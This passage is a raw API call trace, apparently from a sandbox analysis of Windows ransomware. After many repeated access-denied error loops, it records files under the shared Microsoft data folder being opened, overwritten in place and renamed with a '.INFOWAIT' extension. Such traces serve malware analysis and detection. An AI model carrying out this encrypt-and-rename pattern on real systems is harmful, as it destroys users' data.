[0122.041] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.041] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.041] LocalFree (hMem=0x65ded8) returned 0x0 [0122.041] LocalFree (hMem=0x2568430) returned 0x0 [0122.041] GetLastError () returned 0x5 [0122.041] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.041] GetLastError () returned 0x5 [0122.041] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.041] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.041] lstrlenW (lpString="5") returned 1 [0122.041] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.041] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.041] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.041] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.041] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.041] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.041] LocalFree (hMem=0x65ded8) returned 0x0 [0122.041] LocalFree (hMem=0x2568430) returned 0x0 [0122.041] GetLastError () returned 0x5 [0122.042] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.042] GetLastError () returned 0x5 [0122.042] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.042] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.042] lstrlenW (lpString="5") returned 1 [0122.042] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.042] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.042] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.042] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.042] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.042] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.042] LocalFree (hMem=0x65ded8) returned 0x0 [0122.042] LocalFree (hMem=0x2568430) returned 0x0 [0122.042] GetLastError () returned 0x5 [0122.043] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.043] GetLastError () returned 0x5 [0122.043] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.043] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.043] lstrlenW (lpString="5") returned 1 [0122.043] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.043] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.043] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.043] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.043] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.043] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.043] LocalFree (hMem=0x65ded8) returned 0x0 [0122.043] LocalFree (hMem=0x2568430) returned 0x0 [0122.043] GetLastError () returned 0x5 [0122.043] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.043] GetLastError () returned 0x5 [0122.043] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.043] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.043] lstrlenW (lpString="5") returned 1 [0122.043] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.043] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.043] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.043] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.043] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.043] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.043] LocalFree (hMem=0x65ded8) returned 0x0 [0122.043] LocalFree (hMem=0x2568430) returned 0x0 [0122.043] GetLastError () returned 0x5 [0122.044] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.044] GetLastError () returned 0x5 [0122.044] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.044] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.044] lstrlenW (lpString="5") returned 1 [0122.044] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.044] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.044] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.044] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.044] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.044] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.044] LocalFree (hMem=0x65ded8) returned 0x0 [0122.044] LocalFree (hMem=0x2568430) returned 0x0 [0122.044] GetLastError () returned 0x5 [0122.044] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.044] GetLastError () returned 0x5 [0122.044] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.044] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.044] lstrlenW (lpString="5") returned 1 [0122.044] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.044] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.044] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.044] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.044] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.044] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.044] LocalFree (hMem=0x65ded8) returned 0x0 [0122.044] LocalFree (hMem=0x2568430) returned 0x0 [0122.044] GetLastError () returned 0x5 [0122.062] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" [0122.062] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll.INFOWAIT" [0122.062] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlconfig.dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlconfig.dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlconfig.dll.infowait")) returned 1 [0122.063] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.064] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.064] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0122.064] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0122.065] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3e108 [0122.065] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0122.065] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.065] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0122.105] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0122.116] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.116] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0122.117] CloseHandle (hObject=0xad4) returned 1 [0122.121] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll" [0122.121] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll.INFOWAIT" [0122.121] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlui.dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\ppcrlui.dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\ppcrlui.dll.infowait")) returned 1 [0122.126] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.127] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.128] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0122.128] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0122.128] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3a7c [0122.128] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0122.128] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.128] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3a7c, lpOverlapped=0x0) returned 1 [0122.142] VirtualAlloc (lpAddress=0x0, dwSize=0x3a7c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0122.144] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.144] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3a7c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3a7c, lpOverlapped=0x0) returned 1 [0122.144] CloseHandle (hObject=0xad4) returned 1 [0122.146] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL") returned="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" [0122.146] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.INFOWAIT" [0122.146] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl.infowait")) returned 1 [0122.148] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.149] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.149] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0122.149] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0122.150] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3a7c [0122.150] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0122.150] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.150] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3a7c, lpOverlapped=0x0) returned 1 [0122.163] VirtualAlloc (lpAddress=0x0, dwSize=0x3a7c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0122.165] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.165] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3a7c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3a7c, lpOverlapped=0x0) returned 1 [0122.165] CloseHandle (hObject=0xad4) returned 1 [0122.166] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL") returned="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" [0122.166] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.INFOWAIT" [0122.166] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\mf\\pending.grl.infowait")) returned 1 [0122.167] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.168] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.168] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0122.168] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr0.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0122.168] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x400000 [0122.169] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0122.169] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.169] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0122.192] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0122.205] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.205] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0122.205] CloseHandle (hObject=0xad4) returned 1 [0122.401] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat" [0122.401] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat.INFOWAIT" [0122.401] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr0.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr0.dat.infowait")) returned 1 [0122.402] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.403] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.404] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0122.404] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0122.405] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x400000 [0122.405] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0122.405] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.405] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0122.516] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0122.529] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.529] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0122.530] CloseHandle (hObject=0xad4) returned 1 [0122.815] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat" [0122.815] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat.INFOWAIT" [0122.815] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr1.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr1.dat.infowait")) returned 1 [0122.816] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.817] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.819] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0122.819] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\assetlibrary.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0123.164] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1536 [0123.164] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0123.165] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.165] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1536, lpOverlapped=0x0) returned 1 [0123.206] VirtualAlloc (lpAddress=0x0, dwSize=0x1536, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0123.207] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0123.207] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1536, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1536, lpOverlapped=0x0) returned 1 [0123.207] CloseHandle (hObject=0xad4) returned 1 [0123.212] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\AssetLibrary.ico" [0123.212] lstrcatW (in: lpString1="C:\\Users\\All 